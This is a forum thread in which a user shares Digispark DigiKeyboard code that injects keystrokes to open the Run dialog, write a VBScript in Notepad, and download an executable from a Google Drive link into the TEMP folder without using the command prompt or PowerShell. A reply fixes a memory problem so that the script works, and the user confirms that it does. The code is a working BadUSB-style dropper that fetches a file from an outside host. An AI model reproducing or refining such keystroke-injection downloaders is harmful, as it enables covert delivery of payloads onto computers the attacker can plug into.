Author Topic: DigiKeyboard  (Read 2665 times)

Jni

  • Newbie
  • *
  • Posts: 7
DigiKeyboard
« on: August 24, 2017, 03:32:18 pm »
Hi,
I want my digikeyboard download a file but without the command prompt or powershell so first attemp I use Internet explorer to download the file but the problem is if there is for downloading the file is never the same time so I change to another technic so I want to create a .vbs file that download the file now I have a problem that I cant understand. 
Code: [Select]
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(100);
  DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
  DigiKeyboard.delay(800);
  DigiKeyboard.print(F("notepad LOL.vbs"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(1500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(2000);
  DigiKeyboard.println("Set environmentVars = WScript.CreateObject(\\\"WScript.Shell\\\").Environment(\\\"Process\\\")");
  DigiKeyboard.println("tempFolder = environmentVars(\"TEMP\")");
  DigiKeyboard.println("strLink = \"https://drive.google.com/uc?authuser=0&id=0B6w-tx1sAyfLaHREdGhBcmRhVHM&export=download\"");
  DigiKeyboard.println("strSaveTo = tempFolder & \"\\Gandalf Sax.exe\"");
  DigiKeyboard.println("Set objHTTP = CreateObject( \"WinHttp.WinHttpRequest.5.1\" )");
  DigiKeyboard.println("objHTTP.Open \"GET\", strLink, False");
  DigiKeyboard.println("objHTTP.Send");
  DigiKeyboard.println("Set objFSO = CreateObject(\"Scripting.FileSystemObject\")");
  DigiKeyboard.println("If objFSO.FileExists(strSaveTo) Then");
  DigiKeyboard.println("objFSO.DeleteFile(strSaveTo)");
  DigiKeyboard.println("End if");
  DigiKeyboard.println("If objHTTP.Status = 200 Then");
  DigiKeyboard.println("Dim objStream");
  DigiKeyboard.println("Set objStream = CreateObject(\"ADODB.Stream\")");
  DigiKeyboard.println("With objStream");
  DigiKeyboard.println(".Type = 1");
  DigiKeyboard.println(".Open");
  DigiKeyboard.println(".Write objHTTP.ResponseBody");
  DigiKeyboard.println(".SaveToFile strSaveTo");
  DigiKeyboard.println(".Close");
  DigiKeyboard.println("End With");
  DigiKeyboard.println("set objStream = Nothing");
  DigiKeyboard.println("End If");
That the Open Run command write notepad and the name of the new file press enter wait 2 second and println all the line of the code I dont know if there is more easy way but if nothing on the web now I upload in the digispark but it open notepad and write that
Code: [Select]
P.Status = 200 Then
Stream
.ResponseBody

8
objHTTP.Open "GET", strLink, False
objHTTP.Send
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.FileExists(st

,=<
6f objHZP.Status = 200 Then
Dim objStream
Set objStream = CreateObject("ADODB.Stream")
With objStream
.Type = 1
.Open
.Write objHTTP.ResponseBody
.SaveToFile strSaveTo
.Close
End With
set objStream = Nothing
End If
Why ??
thanks for the help
« Last Edit: August 24, 2017, 08:08:34 pm by Jni »

PeterF

  • Hero Member
  • *****
  • Posts: 881
Re: DigiKeyboard
« Reply #1 on: August 24, 2017, 04:39:32 pm »
You've probably run out of SRAM (dynamic memory), due to the long strings, and the number of them you are doing. Every time you do a "" type string, it needs to be stored in SRAM, and there is only 512 bytes of that total on the Digispark, and about 20 bytes of that is used by the core for just a basic sketch.

To understand this better, and to see the changes I made so that this could diagnosed easier, look at this post.

In this instance, you've used up 162% of the available free memory... oops! Use the F() syntax to instruct the compiler to leave the strings in flash (program) memory. i.e. instead of  DigiKeyboard.println("objHTTP.Send");  do  DigiKeyboard.println(F("objHTTP.Send")); and you shouldn't have any problems ;)
« Last Edit: August 25, 2017, 01:34:37 am by PeterF »

Jni

  • Newbie
  • *
  • Posts: 7
Re: DigiKeyboard
« Reply #2 on: August 24, 2017, 08:07:39 pm »
IT WORKING Thanks you